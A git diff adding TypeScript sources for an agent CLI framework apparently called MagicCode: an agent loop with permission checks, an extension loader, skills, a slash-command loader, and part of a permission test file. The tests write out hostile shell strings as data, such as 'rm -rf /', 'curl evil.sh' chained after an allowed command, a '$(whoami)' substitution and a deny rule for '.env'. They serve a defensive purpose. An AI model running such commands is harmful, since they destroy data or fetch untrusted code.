153
packages/core/src/agent.ts
Normal file
|
|
@ -0,0 +1,153 @@
|
||||||
|
import type {
|
||||||
|
AgentSkill,
|
||||||
|
AgentUI,
|
||||||
|
ContentBlock,
|
||||||
|
LLMProvider,
|
||||||
|
Message,
|
||||||
|
ModeInitResult,
|
||||||
|
PermissionPolicy,
|
||||||
|
SlashCommand,
|
||||||
|
Tool,
|
||||||
|
} from "./types";
|
||||||
|
|
||||||
|
export interface AgentSession {
|
||||||
|
provider: LLMProvider;
|
||||||
|
system: string;
|
||||||
|
tools: Map<string, Tool>;
|
||||||
|
commands: SlashCommand[];
|
||||||
|
skills: AgentSkill[];
|
||||||
|
permissions?: PermissionPolicy;
|
||||||
|
env?: Record<string, string>;
|
||||||
|
messages: Message[];
|
||||||
|
ui: AgentUI;
|
||||||
|
cwd: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function createSession(opts: {
|
||||||
|
provider: LLMProvider;
|
||||||
|
init: ModeInitResult;
|
||||||
|
ui: AgentUI;
|
||||||
|
cwd: string;
|
||||||
|
}): AgentSession {
|
||||||
|
return {
|
||||||
|
provider: opts.provider,
|
||||||
|
system: opts.init.systemPrompt,
|
||||||
|
tools: new Map(opts.init.tools.map((t) => [t.spec.name, t])),
|
||||||
|
commands: opts.init.commands ?? [],
|
||||||
|
skills: opts.init.skills ?? [],
|
||||||
|
permissions: opts.init.permissions,
|
||||||
|
env: opts.init.env,
|
||||||
|
messages: [],
|
||||||
|
ui: opts.ui,
|
||||||
|
cwd: opts.cwd,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const MAX_ITERATIONS = 25;
|
||||||
|
|
||||||
|
type ToolUseBlock = Extract<ContentBlock, { type: "tool_use" }>;
|
||||||
|
|
||||||
|
/** Un tour complet : message utilisateur → (LLM → outils)* → réponse finale. */
|
||||||
|
export async function runTurn(
|
||||||
|
session: AgentSession,
|
||||||
|
userText: string,
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<void> {
|
||||||
|
const { ui } = session;
|
||||||
|
session.messages.push({ role: "user", content: [{ type: "text", text: userText }] });
|
||||||
|
|
||||||
|
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
||||||
|
const assistant: ContentBlock[] = [];
|
||||||
|
let text = "";
|
||||||
|
|
||||||
|
ui.onThinking(true);
|
||||||
|
let first = true;
|
||||||
|
try {
|
||||||
|
for await (const ev of session.provider.chat(
|
||||||
|
{
|
||||||
|
system: session.system,
|
||||||
|
messages: session.messages,
|
||||||
|
tools: [...session.tools.values()].map((t) => t.spec),
|
||||||
|
},
|
||||||
|
signal,
|
||||||
|
)) {
|
||||||
|
if (first) {
|
||||||
|
ui.onThinking(false);
|
||||||
|
first = false;
|
||||||
|
}
|
||||||
|
if (ev.type === "text_delta") {
|
||||||
|
text += ev.text;
|
||||||
|
ui.onText(ev.text);
|
||||||
|
} else if (ev.type === "tool_use") {
|
||||||
|
assistant.push({ type: "tool_use", id: ev.id, name: ev.name, input: ev.input });
|
||||||
|
}
|
||||||
|
// "done" : la fin du flux suffit, les appels d'outils décident de la suite
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (first) ui.onThinking(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (text) {
|
||||||
|
ui.onTextEnd();
|
||||||
|
assistant.unshift({ type: "text", text });
|
||||||
|
}
|
||||||
|
session.messages.push({ role: "assistant", content: assistant });
|
||||||
|
|
||||||
|
const calls = assistant.filter((b): b is ToolUseBlock => b.type === "tool_use");
|
||||||
|
if (calls.length === 0) return;
|
||||||
|
|
||||||
|
const results: ContentBlock[] = [];
|
||||||
|
for (const call of calls) {
|
||||||
|
results.push(await executeToolCall(session, call, signal));
|
||||||
|
}
|
||||||
|
session.messages.push({ role: "user", content: results });
|
||||||
|
}
|
||||||
|
session.ui.onToolResult("agent", `Arrêt : plus de ${MAX_ITERATIONS} itérations`, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function executeToolCall(
|
||||||
|
session: AgentSession,
|
||||||
|
call: ToolUseBlock,
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<ContentBlock> {
|
||||||
|
const { ui } = session;
|
||||||
|
const tool = session.tools.get(call.name);
|
||||||
|
const result = (content: string, isError = false): ContentBlock => ({
|
||||||
|
type: "tool_result",
|
||||||
|
toolUseId: call.id,
|
||||||
|
content,
|
||||||
|
isError,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!tool) return result(`Outil inconnu : ${call.name}`, true);
|
||||||
|
|
||||||
|
const summary = tool.describe?.(call.input) ?? JSON.stringify(call.input).slice(0, 120);
|
||||||
|
ui.onToolCall(call.name, summary);
|
||||||
|
|
||||||
|
// Les règles du mode (deny > ask > allow) priment sur la permission par défaut de l'outil
|
||||||
|
const verdict = session.permissions?.check(call.name, call.input, { cwd: session.cwd });
|
||||||
|
if (verdict?.decision === "deny") {
|
||||||
|
const why = verdict.reason ? ` (${verdict.reason})` : "";
|
||||||
|
ui.onToolResult(call.name, `Refusé par la configuration${why}`, true);
|
||||||
|
return result(`Action refusée par les règles de permissions${why}. Ne réessaie pas telle quelle.`, true);
|
||||||
|
}
|
||||||
|
const needsConfirm = verdict ? verdict.decision === "ask" : tool.permission === "ask";
|
||||||
|
|
||||||
|
if (needsConfirm) {
|
||||||
|
const ok = await ui.confirm(`Autoriser ${call.name} : ${summary} ?`);
|
||||||
|
if (!ok) {
|
||||||
|
ui.onToolResult(call.name, "Refusé par l'utilisateur", true);
|
||||||
|
return result("L'utilisateur a refusé cette action.", true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const output = await tool.execute(call.input, { cwd: session.cwd, signal, env: session.env });
|
||||||
|
ui.onToolResult(call.name, output, false);
|
||||||
|
return result(output);
|
||||||
|
} catch (err) {
|
||||||
|
const msg = (err as Error).message;
|
||||||
|
ui.onToolResult(call.name, msg, true);
|
||||||
|
return result(msg, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
48
packages/core/src/extensions.ts
Normal file
48
packages/core/src/extensions.ts
Normal file
|
|
@ -0,0 +1,48 @@
|
||||||
|
import { readdir, stat } from "node:fs/promises";
|
||||||
|
import { join } from "node:path";
|
||||||
|
import { pathToFileURL } from "node:url";
|
||||||
|
import type { Extension } from "./types";
|
||||||
|
import type { ModeRegistry } from "./registry";
|
||||||
|
|
||||||
|
/** Active les extensions : chacune enregistre ses modes via l'API. */
|
||||||
|
export async function activateExtensions(
|
||||||
|
registry: ModeRegistry,
|
||||||
|
extensions: Extension[],
|
||||||
|
onError: (message: string) => void = () => {},
|
||||||
|
): Promise<void> {
|
||||||
|
for (const ext of extensions) {
|
||||||
|
try {
|
||||||
|
await ext.activate({
|
||||||
|
registerMode: (mode) => registry.registerMode(mode, ext.id),
|
||||||
|
});
|
||||||
|
} catch (err) {
|
||||||
|
onError(`Extension "${ext.id}" : échec d'activation (${(err as Error).message})`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Découvre les extensions utilisateur : ~/.magiccode/extensions/<nom>/index.js
|
||||||
|
* (export default d'un objet Extension).
|
||||||
|
*/
|
||||||
|
export async function discoverUserExtensions(dir: string): Promise<Extension[]> {
|
||||||
|
let names: string[];
|
||||||
|
try {
|
||||||
|
names = await readdir(dir);
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
const found: Extension[] = [];
|
||||||
|
for (const name of names) {
|
||||||
|
const entry = join(dir, name, "index.js");
|
||||||
|
try {
|
||||||
|
await stat(entry);
|
||||||
|
const mod = await import(pathToFileURL(entry).href);
|
||||||
|
const ext = (mod.default ?? mod.extension) as Extension | undefined;
|
||||||
|
if (ext && typeof ext.activate === "function") found.push(ext);
|
||||||
|
} catch {
|
||||||
|
// extension illisible : ignorée
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return found;
|
||||||
|
}
|
||||||
5
packages/core/src/index.ts
Normal file
5
packages/core/src/index.ts
Normal file
|
|
@ -0,0 +1,5 @@
|
||||||
|
export * from "./types";
|
||||||
|
export * from "./registry";
|
||||||
|
export * from "./extensions";
|
||||||
|
export * from "./agent";
|
||||||
|
export * from "./skills";
|
||||||
20
packages/core/src/registry.ts
Normal file
20
packages/core/src/registry.ts
Normal file
|
|
@ -0,0 +1,20 @@
|
||||||
|
import type { AgentMode } from "./types";
|
||||||
|
|
||||||
|
export class ModeRegistry {
|
||||||
|
private modes = new Map<string, { mode: AgentMode; source: string }>();
|
||||||
|
|
||||||
|
registerMode(mode: AgentMode, source: string): void {
|
||||||
|
if (this.modes.has(mode.id)) {
|
||||||
|
throw new Error(`Mode "${mode.id}" déjà enregistré`);
|
||||||
|
}
|
||||||
|
this.modes.set(mode.id, { mode, source });
|
||||||
|
}
|
||||||
|
|
||||||
|
getMode(id: string): AgentMode | undefined {
|
||||||
|
return this.modes.get(id)?.mode;
|
||||||
|
}
|
||||||
|
|
||||||
|
listModes(): AgentMode[] {
|
||||||
|
return [...this.modes.values()].map((e) => e.mode);
|
||||||
|
}
|
||||||
|
}
|
||||||
31
packages/core/src/skills.test.ts
Normal file
31
packages/core/src/skills.test.ts
Normal file
|
|
@ -0,0 +1,31 @@
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
import { findSkill, parseSkillInvocation } from "./skills";
|
||||||
|
import type { AgentSkill } from "./types";
|
||||||
|
|
||||||
|
describe("parseSkillInvocation", () => {
|
||||||
|
it("reconnaît §nom avec ou sans arguments", () => {
|
||||||
|
expect(parseSkillInvocation("§sk_test")).toEqual({ name: "sk_test", args: "" });
|
||||||
|
expect(parseSkillInvocation(" §sk_test lance sur src/ ")).toEqual({
|
||||||
|
name: "sk_test",
|
||||||
|
args: "lance sur src/",
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it("§ seul : nom vide (liste des skills)", () => {
|
||||||
|
expect(parseSkillInvocation("§")).toEqual({ name: "", args: "" });
|
||||||
|
});
|
||||||
|
|
||||||
|
it("ignore les autres saisies", () => {
|
||||||
|
expect(parseSkillInvocation("bonjour §sk_test")).toBeNull();
|
||||||
|
expect(parseSkillInvocation("/help")).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("findSkill", () => {
|
||||||
|
const skills: AgentSkill[] = [{ name: "Sk_Test", description: "d", invoke: () => "p" }];
|
||||||
|
it("exact puis insensible à la casse", () => {
|
||||||
|
expect(findSkill(skills, "Sk_Test")).toBe(skills[0]);
|
||||||
|
expect(findSkill(skills, "sk_test")).toBe(skills[0]);
|
||||||
|
expect(findSkill(skills, "autre")).toBeUndefined();
|
||||||
|
});
|
||||||
|
});
|
||||||
21
packages/core/src/skills.ts
Normal file
21
packages/core/src/skills.ts
Normal file
|
|
@ -0,0 +1,21 @@
|
||||||
|
import type { AgentSkill } from "./types";
|
||||||
|
|
||||||
|
/** Préfixe d'appel direct d'un skill : "§nom_du_skill [arguments]". */
|
||||||
|
export const SKILL_PREFIX = "§";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reconnaît un appel de skill. Retourne null si la saisie n'en est pas un ;
|
||||||
|
* `name` vaut "" pour un "§" seul (liste des skills).
|
||||||
|
*/
|
||||||
|
export function parseSkillInvocation(input: string): { name: string; args: string } | null {
|
||||||
|
const text = input.trim();
|
||||||
|
if (!text.startsWith(SKILL_PREFIX)) return null;
|
||||||
|
const m = /^§(\S*)\s*([\s\S]*)$/.exec(text);
|
||||||
|
return m ? { name: m[1] ?? "", args: (m[2] ?? "").trim() } : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Nom exact, sinon insensible à la casse. */
|
||||||
|
export function findSkill(skills: AgentSkill[], name: string): AgentSkill | undefined {
|
||||||
|
const lower = name.toLowerCase();
|
||||||
|
return skills.find((s) => s.name === name) ?? skills.find((s) => s.name.toLowerCase() === lower);
|
||||||
|
}
|
||||||
152
packages/core/src/types.ts
Normal file
152
packages/core/src/types.ts
Normal file
|
|
@ -0,0 +1,152 @@
|
||||||
|
// ─────────────────────────────────────────────────────────────
|
||||||
|
// Contrats de MagicCode. Tout le reste du projet en dépend.
|
||||||
|
// ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
// ---------- Messages (format neutre, indépendant des providers) ----------
|
||||||
|
|
||||||
|
export type ContentBlock =
|
||||||
|
| { type: "text"; text: string }
|
||||||
|
| { type: "tool_use"; id: string; name: string; input: Record<string, unknown> }
|
||||||
|
| { type: "tool_result"; toolUseId: string; content: string; isError?: boolean };
|
||||||
|
|
||||||
|
export interface Message {
|
||||||
|
role: "user" | "assistant";
|
||||||
|
content: ContentBlock[];
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------- LLMProvider ----------
|
||||||
|
|
||||||
|
export interface ToolSpec {
|
||||||
|
name: string;
|
||||||
|
description: string;
|
||||||
|
/** JSON Schema de l'entrée de l'outil. */
|
||||||
|
inputSchema: Record<string, unknown>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ChatRequest {
|
||||||
|
system: string;
|
||||||
|
messages: Message[];
|
||||||
|
tools: ToolSpec[];
|
||||||
|
maxTokens?: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export type StopReason = "end_turn" | "tool_use" | "max_tokens" | "other";
|
||||||
|
|
||||||
|
/** Événements de streaming normalisés, identiques pour tous les providers. */
|
||||||
|
export type StreamEvent =
|
||||||
|
| { type: "text_delta"; text: string }
|
||||||
|
| { type: "tool_use"; id: string; name: string; input: Record<string, unknown> }
|
||||||
|
| { type: "done"; stopReason: StopReason };
|
||||||
|
|
||||||
|
export interface LLMProvider {
|
||||||
|
/** ex: "anthropic", "openai", "ollama" */
|
||||||
|
readonly id: string;
|
||||||
|
/** Identifiant réel du modèle chez le fournisseur. */
|
||||||
|
readonly model: string;
|
||||||
|
readonly capabilities: { tools: boolean };
|
||||||
|
chat(req: ChatRequest, signal?: AbortSignal): AsyncIterable<StreamEvent>;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------- Outils ----------
|
||||||
|
|
||||||
|
export interface ToolContext {
|
||||||
|
cwd: string;
|
||||||
|
signal?: AbortSignal;
|
||||||
|
/** Variables d'environnement additionnelles (ex. `env` de .claude/settings.json). */
|
||||||
|
env?: Record<string, string>;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------- Permissions ----------
|
||||||
|
|
||||||
|
export interface PermissionDecision {
|
||||||
|
/** allow : exécuter sans confirmation · ask : demander · deny : refuser sans demander. */
|
||||||
|
decision: "allow" | "ask" | "deny";
|
||||||
|
reason?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Politique fournie par un mode ; retourne null quand aucune règle ne s'applique (comportement par défaut de l'outil). */
|
||||||
|
export interface PermissionPolicy {
|
||||||
|
check(toolName: string, input: Record<string, unknown>, ctx: { cwd: string }): PermissionDecision | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Tool {
|
||||||
|
spec: ToolSpec;
|
||||||
|
/** "ask" : l'UI doit demander confirmation avant exécution. */
|
||||||
|
permission: "auto" | "ask";
|
||||||
|
/** Résumé court affiché dans l'UI et dans la demande de confirmation. */
|
||||||
|
describe?(input: Record<string, unknown>): string;
|
||||||
|
execute(input: Record<string, unknown>, ctx: ToolContext): Promise<string>;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------- UI (implémentée par le package `ui`, jamais importée par le core) ----------
|
||||||
|
|
||||||
|
export interface AgentUI {
|
||||||
|
onThinking(active: boolean): void;
|
||||||
|
onText(text: string): void;
|
||||||
|
onTextEnd(): void;
|
||||||
|
onToolCall(name: string, summary: string): void;
|
||||||
|
onToolResult(name: string, output: string, isError: boolean): void;
|
||||||
|
confirm(message: string): Promise<boolean>;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------- Modes & extensions ----------
|
||||||
|
|
||||||
|
/** Commande slash fournie par un mode : elle se transforme en prompt envoyé au LLM. */
|
||||||
|
export interface SlashCommand {
|
||||||
|
name: string;
|
||||||
|
description: string;
|
||||||
|
/** Aide à la saisie des arguments, ex. "[message]". */
|
||||||
|
argumentHint?: string;
|
||||||
|
prompt(args: string): string;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Skill d'un agent, indépendant du format propre à cet agent (SKILL.md de ClaudeCode, etc.).
|
||||||
|
* L'utilisateur le lance avec "§nom [arguments]", quel que soit le mode chargé.
|
||||||
|
*/
|
||||||
|
export interface AgentSkill {
|
||||||
|
name: string;
|
||||||
|
description: string;
|
||||||
|
/** Construit le prompt qui lance le skill (instructions du skill + arguments), envoyé ensuite au LLM. */
|
||||||
|
invoke(args: string): string | Promise<string>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface InitContext {
|
||||||
|
cwd: string;
|
||||||
|
homeDir: string;
|
||||||
|
/** Information à l'utilisateur. */
|
||||||
|
log(message: string): void;
|
||||||
|
/** Avertissement à l'utilisateur (non bloquant). */
|
||||||
|
warn(message: string): void;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Résultat de l'initialisation d'un mode : ce dont l'agent a besoin pour démarrer. */
|
||||||
|
export interface ModeInitResult {
|
||||||
|
systemPrompt: string;
|
||||||
|
/** Builtins propres au mode. */
|
||||||
|
tools: Tool[];
|
||||||
|
commands?: SlashCommand[];
|
||||||
|
/** Skills de l'agent, appelables par l'utilisateur avec "§nom". */
|
||||||
|
skills?: AgentSkill[];
|
||||||
|
/** Règles allow/ask/deny du mode (remplacent la permission par défaut des outils quand elles s'appliquent). */
|
||||||
|
permissions?: PermissionPolicy;
|
||||||
|
/** Variables d'environnement transmises aux outils (ex. Bash). */
|
||||||
|
env?: Record<string, string>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface AgentMode {
|
||||||
|
id: string;
|
||||||
|
name: string;
|
||||||
|
description: string;
|
||||||
|
initialize(ctx: InitContext): Promise<ModeInitResult>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ExtensionApi {
|
||||||
|
registerMode(mode: AgentMode): void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Extension {
|
||||||
|
id: string;
|
||||||
|
name: string;
|
||||||
|
activate(api: ExtensionApi): void | Promise<void>;
|
||||||
|
}
|
||||||
4
packages/core/tsconfig.json
Normal file
4
packages/core/tsconfig.json
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
{
|
||||||
|
"extends": "../../tsconfig.base.json",
|
||||||
|
"include": ["src"]
|
||||||
|
}
|
||||||
18
packages/ext-claudecode/package.json
Normal file
18
packages/ext-claudecode/package.json
Normal file
|
|
@ -0,0 +1,18 @@
|
||||||
|
{
|
||||||
|
"name": "@magiccode/ext-claudecode",
|
||||||
|
"version": "0.1.0",
|
||||||
|
"type": "module",
|
||||||
|
"main": "src/index.ts",
|
||||||
|
"types": "src/index.ts",
|
||||||
|
"scripts": {
|
||||||
|
"typecheck": "tsc -p ."
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"@magiccode/core": "workspace:*",
|
||||||
|
"ignore": "^6.0.2",
|
||||||
|
"picomatch": "^3.0.1"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@types/picomatch": "^3.0.1"
|
||||||
|
}
|
||||||
|
}
|
||||||
83
packages/ext-claudecode/src/commands.ts
Normal file
83
packages/ext-claudecode/src/commands.ts
Normal file
|
|
@ -0,0 +1,83 @@
|
||||||
|
import { readFile, readdir } from "node:fs/promises";
|
||||||
|
import { join } from "node:path";
|
||||||
|
import type { SlashCommand } from "@magiccode/core";
|
||||||
|
import { parseFrontmatter } from "./frontmatter";
|
||||||
|
|
||||||
|
/** Noms réservés aux commandes internes de MagicCode (gérées par la CLI). */
|
||||||
|
export const RESERVED_COMMANDS = new Set(["help", "clear", "mode", "model", "exit"]);
|
||||||
|
|
||||||
|
async function listMarkdown(dir: string, prefix = ""): Promise<{ name: string; file: string }[]> {
|
||||||
|
let entries;
|
||||||
|
try {
|
||||||
|
entries = await readdir(dir, { withFileTypes: true });
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
entries.sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0));
|
||||||
|
|
||||||
|
const found: { name: string; file: string }[] = [];
|
||||||
|
for (const e of entries) {
|
||||||
|
if (e.isDirectory()) {
|
||||||
|
found.push(...(await listMarkdown(join(dir, e.name), `${prefix}${e.name}:`)));
|
||||||
|
} else if (e.isFile() && e.name.endsWith(".md")) {
|
||||||
|
found.push({ name: `${prefix}${e.name.slice(0, -3)}`, file: join(dir, e.name) });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** $ARGUMENTS = tous les arguments, $1…$9 = arguments séparés par des espaces. */
|
||||||
|
export function renderCommand(body: string, args: string): string {
|
||||||
|
const tokens = args.trim() ? args.trim().split(/\s+/) : [];
|
||||||
|
let usesArgs = false;
|
||||||
|
const out = body.replace(/\$ARGUMENTS|\$([1-9])/g, (_m, n: string | undefined) => {
|
||||||
|
usesArgs = true;
|
||||||
|
return n ? (tokens[Number(n) - 1] ?? "") : args.trim();
|
||||||
|
});
|
||||||
|
return !usesArgs && args.trim() ? `${out.trimEnd()}\n\nARGUMENTS: ${args.trim()}` : out;
|
||||||
|
}
|
||||||
|
|
||||||
|
function fallbackDescription(body: string): string {
|
||||||
|
const first = body.split("\n").find((l) => l.trim() !== "") ?? "";
|
||||||
|
return first.replace(/^#+\s*/, "").trim().slice(0, 80) || "(sans description)";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Charge .claude/commands/**.md de chaque dossier .claude (du plus général au plus spécifique :
|
||||||
|
* une commande du projet remplace celle du même nom au niveau utilisateur).
|
||||||
|
* Les sous-dossiers donnent des noms préfixés : commands/git/commit.md → /git:commit.
|
||||||
|
*/
|
||||||
|
export async function loadCommands(
|
||||||
|
claudeDirs: string[],
|
||||||
|
): Promise<{ commands: SlashCommand[]; warnings: string[] }> {
|
||||||
|
const byName = new Map<string, SlashCommand>();
|
||||||
|
const warnings: string[] = [];
|
||||||
|
|
||||||
|
for (const dir of claudeDirs) {
|
||||||
|
for (const { name, file } of await listMarkdown(join(dir, "commands"))) {
|
||||||
|
if (/\s/.test(name)) {
|
||||||
|
warnings.push(`Commande ignorée (espace dans le nom) : ${file}`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (RESERVED_COMMANDS.has(name)) {
|
||||||
|
warnings.push(`Commande /${name} ignorée : nom réservé à MagicCode (${file})`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let raw: string;
|
||||||
|
try {
|
||||||
|
raw = await readFile(file, "utf8");
|
||||||
|
} catch {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const { data, body } = parseFrontmatter(raw);
|
||||||
|
// TODO : allowed-tools, model, références @fichier et !`commande`
|
||||||
|
byName.set(name, {
|
||||||
|
name,
|
||||||
|
description: data.description || fallbackDescription(body),
|
||||||
|
argumentHint: data["argument-hint"] || undefined,
|
||||||
|
prompt: (args) => renderCommand(body, args),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return { commands: [...byName.values()], warnings };
|
||||||
|
}
|
||||||
35
packages/ext-claudecode/src/frontmatter.ts
Normal file
35
packages/ext-claudecode/src/frontmatter.ts
Normal file
|
|
@ -0,0 +1,35 @@
|
||||||
|
function unquote(v: string): string {
|
||||||
|
const m = /^(["'])(.*)\1$/.exec(v);
|
||||||
|
return m ? (m[2] ?? "") : v;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Lit un en-tête YAML simple (--- … ---) : paires `clé: valeur`, valeurs entre guillemets,
|
||||||
|
* et blocs `>` / `|` (lignes indentées jointes par des espaces). Pas de YAML imbriqué.
|
||||||
|
*/
|
||||||
|
export function parseFrontmatter(raw: string): { data: Record<string, string>; body: string } {
|
||||||
|
const text = raw.replace(/\r\n/g, "\n");
|
||||||
|
if (!text.startsWith("---\n")) return { data: {}, body: text };
|
||||||
|
const end = text.indexOf("\n---", 4);
|
||||||
|
if (end === -1) return { data: {}, body: text };
|
||||||
|
|
||||||
|
const lines = text.slice(4, end).split("\n");
|
||||||
|
const body = text.slice(end + 4).replace(/^[ \t]*\n?/, "");
|
||||||
|
|
||||||
|
const data: Record<string, string> = {};
|
||||||
|
for (let i = 0; i < lines.length; i++) {
|
||||||
|
const m = /^([A-Za-z0-9_-]+):\s*(.*)$/.exec(lines[i] ?? "");
|
||||||
|
if (!m) continue;
|
||||||
|
let value = (m[2] ?? "").trim();
|
||||||
|
if (value === "" || /^[>|][+-]?$/.test(value)) {
|
||||||
|
const parts: string[] = [];
|
||||||
|
while (i + 1 < lines.length && /^\s+\S/.test(lines[i + 1] ?? "")) {
|
||||||
|
i++;
|
||||||
|
parts.push((lines[i] ?? "").trim());
|
||||||
|
}
|
||||||
|
value = parts.join(" ");
|
||||||
|
}
|
||||||
|
data[m[1]!] = unquote(value);
|
||||||
|
}
|
||||||
|
return { data, body };
|
||||||
|
}
|
||||||
12
packages/ext-claudecode/src/index.ts
Normal file
12
packages/ext-claudecode/src/index.ts
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
import type { Extension } from "@magiccode/core";
|
||||||
|
import { claudeCodeMode } from "./mode";
|
||||||
|
|
||||||
|
export const claudeCodeExtension: Extension = {
|
||||||
|
id: "claudecode",
|
||||||
|
name: "Extension ClaudeCode",
|
||||||
|
activate(api) {
|
||||||
|
api.registerMode(claudeCodeMode);
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
export default claudeCodeExtension;
|
||||||
148
packages/ext-claudecode/src/lot2.test.ts
Normal file
148
packages/ext-claudecode/src/lot2.test.ts
Normal file
|
|
@ -0,0 +1,148 @@
|
||||||
|
import { mkdir, mkdtemp, writeFile } from "node:fs/promises";
|
||||||
|
import { tmpdir } from "node:os";
|
||||||
|
import { join } from "node:path";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
import { renderCommand } from "./commands";
|
||||||
|
import { parseFrontmatter } from "./frontmatter";
|
||||||
|
import { claudeCodeMode } from "./mode";
|
||||||
|
import { createPermissionPolicy } from "./permissions";
|
||||||
|
|
||||||
|
describe("frontmatter", () => {
|
||||||
|
it("lit les clés simples, les guillemets et les blocs >", () => {
|
||||||
|
const { data, body } = parseFrontmatter(
|
||||||
|
'---\ndescription: "Revue de code"\nargument-hint: [fichier]\nlong: >\n première\n seconde\n---\nCorps $ARGUMENTS\n',
|
||||||
|
);
|
||||||
|
expect(data.description).toBe("Revue de code");
|
||||||
|
expect(data["argument-hint"]).toBe("[fichier]");
|
||||||
|
expect(data.long).toBe("première seconde");
|
||||||
|
expect(body).toBe("Corps $ARGUMENTS\n");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("sans en-tête : tout est le corps", () => {
|
||||||
|
expect(parseFrontmatter("juste du texte")).toEqual({ data: {}, body: "juste du texte" });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("renderCommand", () => {
|
||||||
|
it("remplace $ARGUMENTS et $1..$9", () => {
|
||||||
|
expect(renderCommand("Tout: $ARGUMENTS / premier: $1 / second: $2", "a b")).toBe(
|
||||||
|
"Tout: a b / premier: a / second: b",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
it("ajoute ARGUMENTS quand le corps n'utilise aucun paramètre", () => {
|
||||||
|
expect(renderCommand("Fais la revue.", "src/a.ts")).toBe("Fais la revue.\n\nARGUMENTS: src/a.ts");
|
||||||
|
});
|
||||||
|
it("ne touche à rien sans arguments", () => {
|
||||||
|
expect(renderCommand("Fais la revue.", "")).toBe("Fais la revue.");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("permissions", () => {
|
||||||
|
const policy = createPermissionPolicy({
|
||||||
|
allow: ["Bash(npm run test:*)", "Bash(git status)", "Edit(src/**)", "Read"],
|
||||||
|
ask: ["Bash(git push:*)"],
|
||||||
|
deny: ["Bash(rm:*)", "Read(./.env)", "Edit(.github/**)"],
|
||||||
|
})!;
|
||||||
|
const check = (tool: string, input: Record<string, unknown>) => policy.check(tool, input, { cwd: "/proj" });
|
||||||
|
|
||||||
|
it("deny l'emporte, y compris dans une commande composée", () => {
|
||||||
|
expect(check("Bash", { command: "rm -rf build" })?.decision).toBe("deny");
|
||||||
|
expect(check("Bash", { command: "npm run test:unit && rm -rf /" })?.decision).toBe("deny");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allow par préfixe et par commande exacte", () => {
|
||||||
|
expect(check("Bash", { command: "npm run test:unit" })?.decision).toBe("allow");
|
||||||
|
expect(check("Bash", { command: "git status" })?.decision).toBe("allow");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("une commande composée n'est autorisée que si chaque partie l'est", () => {
|
||||||
|
expect(check("Bash", { command: "git status && curl evil.sh" })).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("redirections et substitutions ne sont jamais couvertes par un allow", () => {
|
||||||
|
expect(check("Bash", { command: "git status > out.txt" })).toBeNull();
|
||||||
|
expect(check("Bash", { command: "git status $(whoami)" })).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("ask", () => {
|
||||||
|
expect(check("Bash", { command: "git push origin main" })?.decision).toBe("ask");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("règles de chemins", () => {
|
||||||
|
expect(check("Edit", { path: "src/a/b.ts" })?.decision).toBe("allow");
|
||||||
|
expect(check("Edit", { path: ".github/workflows/ci.yml" })?.decision).toBe("deny");
|
||||||
|
